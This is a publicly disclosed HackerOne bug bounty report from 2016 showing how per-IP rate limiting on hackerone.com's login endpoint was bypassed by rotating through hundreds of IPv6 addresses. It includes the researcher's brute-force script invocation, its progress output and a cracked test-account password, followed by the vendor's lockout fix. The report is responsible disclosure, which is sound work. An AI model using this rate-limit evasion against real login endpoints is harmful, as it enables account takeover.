Web Authentication Endpoint Credentials Brute-Force Vulnerability

Share:

State	Resolved (Closed)
Disclosed	**June 24, 2016 4:36am +0530**
Reported To	HackerOne
Weakness	Improper Authentication - Generic
Bounty	$1,500
Severity	No Rating (---)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE

arneswinnen submitted a report to **HackerOne**. Apr 2nd (3 years ago)

Dear,

Your web authentication endpoint, https://hackerone.com/sessions (POST), currently protects against credentials brute-force attacks only by requests rate-limiting based on IP. It was found that if an attacker sends login requests faster than every 4 seconds from the same IP address, it would get blocked. This still allows an attacker to make the following number of guesses from one single system: 15/minute, 900/hour, 21.600/day or 648.000/month. No additional protection mechanism such as Captcha (pre-auth) or account lockout requiring additional email/phone verification (pre- or post-auth) were identified at any time. This allows for brute-forcing of credentials, for example based on breached clear-text password databases of which there are many publicly available (https://wiki.skullsecurity.org/Passwords).

Additionally, rate-limitation nowadays is not effective anymore to protect against brute-force. There are many botnets out there which can be used to overcome this hurdle, as well as cloud (VPS) services (e.g. Amazon AWS EIPs, DigitalOcean, ...), VPNs, proxies and the like. I first attempted to use TOR for PoC, but Cloudflare blocks this. However, Cloudflare also happily offers IPv6 access to HackerOne.com (https://www.cloudflare.com/ipv6/)

Many VPS providers today offer a whole /64 subnet range of IPv6 addresses (18.446.744.073.709.551.616 unique addresses), such as but not limited to:

- RamNode: $15/year (https://www.ramnode.com/vps.php)
- Hetzner: $3.9/month (https://www.hetzner.de/us/hosting/produktmatrix_vserver/vserver-produktmatrix)
- Vultr: $5/month (https://www.vultr.com/pricing/)

As a PoC, an IPv6-powered VPS its external network interface was configured to have multiple IPv6 addresses from its range (500+). Then, a brute-force python script was developed that performs a login brute-force attack by rotating through these addresses and leaving at least 4 seconds between the reuse of every IP addresses, to never have a request refused. This effectively overcomes the IP-rate limiting and allows a full-fleged online brute-force attack at virtually unlimited speeds. The following successful brute-force attack of 10.001 passwords (https://github.com/danielmiessler/SecLists/blob/master/Passwords/10k_most_common.txt appended with the real password) against test account arneswinnen+test@gmail.com:Geniaal2!! was performed from a VPS which costs $3.9/month (512 MB Ram, 1 processor, 100MBIT):

```
# cat 10k_most_common.txt | wc -l
10001

# tail 10k_most_common.txt
hoes
howie
hevnm4
hugohugo
eighty
epson
evangeli
```

```
eeeee1
eyphed
Geniaal2!!
```

```
# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

venet0    Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          inet addr:127.0.0.2  P-t-P:127.0.0.2  Bcast:0.0.0.0  Mask:255.255.255.255
          inet6 addr: 2a04:XXXX:0:32::1001/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1010/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1023/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1032/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1045/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1054/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1076/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1067/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1089/64 Scope:Global
          inet6 addr: 2a04:XXXX:0:32::1100/64 Scope:Global
(...SNIP...)

# python hackeronebrute.py
[INFO] Usage: python hackeronebrute.py <USERNAME> <PASSWORD_DICTIONARY_FILENAME> <INTERFACES (CSV)> <THREADS> [DEBUG

# python hackeronebrute.py arneswinnen+test@gmail.com 10k_most_common.txt venet0 50
[INFO] Number of interfaces: 677
[INFO] Number of interfaces per thread: 13
[INFO] Total # threads: 50
[INFO] Total # passwords: 10001
31.67 pw/s [=====] 28% (2819/10001)
31.62 pw/s [=====] 29% (2972/10001)
31.54 pw/s [======] 31% (3122/10001)
31.54 pw/s [======] 32% (3280/10001)
31.48 pw/s [======] 34% (3431/10001)
31.41 pw/s [=======] 35% (3581/10001)
31.28 pw/s [=======] 37% (3722/10001)
31.26 pw/s [=======] 38% (3876/10001)
31.16 pw/s [========] 40% (4019/10001)
31.09 pw/s [========] 41% (4166/10001)
31.09 pw/s [========] 43% (4321/10001)
31.06 pw/s [========] 44% (4472/10001)
30.97 pw/s [=========] 46% (4614/10001)
31.02 pw/s [=========] 47% (4777/10001)
31.01 pw/s [=========] 49% (4930/10001)
31.05 pw/s [==========] 50% (5093/10001)
30.99 pw/s [==========] 52% (5237/10001)
30.97 pw/s [==========] 53% (5389/10001)
31.05 pw/s [===========] 55% (5558/10001)
31.09 pw/s [===========] 57% (5721/10001)
31.07 pw/s [===========] 58% (5873/10001)
31.11 pw/s [============] 60% (6036/10001)
30.93 pw/s [============] 61% (6186/10001)
30.87 pw/s [============] 63% (6329/10001)
30.84 pw/s [============] 64% (6477/10001)
```

```
30.74 pw/s [=============] 66% (6609/10001)
30.60 pw/s [=============] 67% (6731/10001)
30.48 pw/s [=============] 68% (6859/10001)
30.35 pw/s [=============] 69% (6981/10001)
30.35 pw/s [==============] 71% (7132/10001)
30.32 pw/s [==============] 72% (7277/10001)
30.29 pw/s [==============] 74% (7422/10001)
30.25 pw/s [===============] 75% (7562/10001)
30.25 pw/s [===============] 77% (7713/10001)
30.19 pw/s [===============] 78% (7850/10001)
30.20 pw/s [================] 80% (8002/10001)
30.13 pw/s [================] 81% (8136/10001)
30.21 pw/s [================] 83% (8308/10001)
30.23 pw/s [================] 84% (8463/10001)
30.19 pw/s [=================] 86% (8605/10001)
30.20 pw/s [=================] 87% (8757/10001)
30.19 pw/s [=================] 89% (8905/10001)
30.22 pw/s [==================] 90% (9066/10001)
30.23 pw/s [==================] 92% (9221/10001)
30.24 pw/s [==================] 93% (9373/10001)
30.20 pw/s [===================] 95% (9514/10001)
30.18 pw/s [===================] 96% (9656/10001)
30.15 pw/s [===================] 97% (9800/10001)
30.17 pw/s [===================] 99% (9955/10001)
[SUCCESS] Found the right password: Geniaal2!!
29.85 pw/s [====================] 100% (10001/10001)
[End] Total time: 335 seconds
```

At this rate, an attacker could guess the following number of credentials: 1.800/minute, 108.000/hour, 2.592.000/day, 77.760.000/month. After this script guessed wrongly more than 10.000 times, the successful password was found and I could simply login to hackerone.com with my test account and this password, without any additional validation whatsoever.

One example of a similar vulnerability that was exploited by Black Hats in the past would be Apple's Celebgate scandal of January 2015, where celebrity passwords were brute-forced through an unprotected Apple authentication endpoint. In the case of HackerOne, this could lead to the compromise of many accounts, since it is a well-known fact that people tend to choose similar passwords which turn up in dictionaries. Indirectly, it might grant unauthorized access to confidential bug descriptions to a successful attacker.

For more info, see http://www.imperva.com/docs/WP_Consumer_Password_Worst_Practices.pdf . A password analysis study of the 32-million clear-text password leak of the Rockyou website breach revealed that by guessing the topmost 4655 passwords in this dump against all users, an attacker would gain access to around 20% of all accounts (page 4). That would be a lot of HackerOne accounts.

Recommendation: Implement a Captcha after a reasonable number of failed login attempts against one account at the application-layer. The Captcha should not only be shown to offending IP addresses, but to anyone who attempts to login to the account under attack. Another option is to enable an account lockout policy which effectively locks down an account that has been attacked (e.g. after 20 failed consecutive logins) and requires out-of-band validation by the real account owner (e.g. email, mobile) before becoming accessible again.

Best regards,

Arne Swinnen
https://www.arneswinnen.net

2 attachments:
F82778: hackeronebrute.py
F82779: 10k_most_common.txt

rso posted a comment. Apr 5th (3 years ago)

Hey @arneswinnen,

Great report/POC, thank you for taking the time to write this down. At this point we're considering our options as to what action to take, please sit tight!

Thanks again,
Remon

rso posted a comment. Apr 7th (3 years ago)

Hey there,

Just to give you an update: I've started work on a Captcha (recaptcha) integration, that is aimed to solve these issues, I hope to get something in production by the end of next week!

Cheers,
Remon

arneswinnen posted a comment. Apr 8th (3 years ago)

Hi,

Thanks for the heads up. Great to hear you are taking steps to solve this issue.

Coincidentally, I saw the following new recaptcha bypass pass by today. The original research was presented at Black Hat Asia 2016 in the beginning of April, apparently. The article mentions "Google has hardened its CAPTCHA services against the described attack", without any additional details.

In general I think you're good with recaptcha, but if you're completely paranoid, you might in addition implement an account lockout which gets triggered after e.g. 20 consecutive failed login attempts *with a Captcha*. But again, only if you're completely paranoid :). A decent Captcha such as recaptcha would already protect HackerOne sufficiently in my opinion. But you can never fully trust this kind of security control, as the aforementioned article proves.

Cheers,

Arne

rso changed the status to ○ **Triaged**. Apr 8th (3 years ago)

Hehe, of course, just when I started implementing reCAPTCHA ;-). If I read the article correctly the average running time for a reCAPTCHA crack takes 19 seconds, that'd make me comfortable implementing reCAPTCHA as a fix for this report. I agree that preferably we'd lockout the account and require email verification at some point.

arneswinnen posted a comment. Apr 8th (3 years ago)

Of course: https://en.wikipedia.org/wiki/Murphy's_law :-).

Thanks for triaging! This confirms my initial feeling, based on previously disclosed reports, that HackerOne is really proactive when it comes to security issues.

If you have any additional questions, just let me know. I'm not in a rush to disclose this one, take your time and test the Captcha implementation extensively ;-).

Arne

mvgijssel posted a comment. Apr 22nd (3 years ago)

Hi @arneswinnen,

Just wanted to give you a quick update that we're still investigating the issue! Sorry for the late response, but will keep you posted!

Kind regards,
Maarten

arneswinnen posted a comment. May 4th (3 years ago)

Hi,

Thanks for the update. I'll await further updates from HackerOne as of now.

Arne

arneswinnen posted a comment. May 20th (3 years ago)

Hi guys,

Just a heads up about two similar brute-force authentication vulnerabilities in Instagram I just blogged about:
https://www.arneswinnen.net/2016/05/instabrute-two-ways-to-brute-force-instagram-account-credentials/

Cheers,

Arne

rso posted a comment. Jun 13th (3 years ago)

Hey Arne,

First of all, I'm very sorry for letting you wait like this. Unfortunately I committed to fixing this at a time that I really couldn't do so. The current status of this report is that I have a PR ready that implements locking out accounts after a high number of failed attempts, and allowing the user to unlock their account through email. That PR isn't complete yet, as it's missing test coverage. I will do my best to implement the missing tests this week, and get a fix out.

Again, I'm sorry that I have to let you wait like this, and want to thank you for your patience.

Remon

reed posted a comment. Jun 22nd (3 years ago)

@arneswinnen, we released a change today to help address this. We now lock a user's account after 100 failed login attempts. The user can reset the lockout by clicking a link in e-mail and should be able to log in successfully even if somebody is still brute-forcing his/her account.

Can you run your tests again to see how it goes?

Separately, I have a pending change coming soon that will increase our minimum zxcvbn score to ensure that user accounts have stronger passwords.

arneswinnen posted a comment. Jun 23rd (3 years ago)

Hi,

After retesting, I can confirm that the account lockout implementation functions as expected. Great idea to also enforce users to pick stronger passwords!

Regards,

Arne

nisha closed the report and changed the status to ○ **Resolved**. Jun 23rd (3 years ago)

Great thanks for confirming ! We will update you soon regarding the bounty decision.

HackerOne rewarded arneswinnen with a **$500** bounty and a **$1,000** bonus. Jun 24th (3 years ago)

While we've received similar reports like this in the past (and had this issue on our backlog to resolve), your detailed report and PoC pushed us to get a fix out quicker (though some internal delays caused our time-to-fix to be much longer than expected or usual, and we're sorry for that). We see this as an excellent defense-in-depth security enhancement, and we are most thankful for your submission. Also, as previously discussed, we've now increased our minimum zxcvbn score to help prevent future brute-force attacks that utilize common passwords even further. We feel that the combination of these changes (plus our existing rate limiting) will sufficiently protect against this attack class in its current form.

Thanks, @arneswinnen! Happy hacking, and please do submit any future issues you discover! :-)

reed requested to disclose this report. Jun 24th (3 years ago)

Requesting public disclosure so that other researchers can see what a good report and detailed PoC looks like in the hope that they submit future reports of similar quality.

arneswinnen agreed to disclose this report. Jun 24th (3 years ago)

This report has been disclosed. Jun 24th (3 years ago)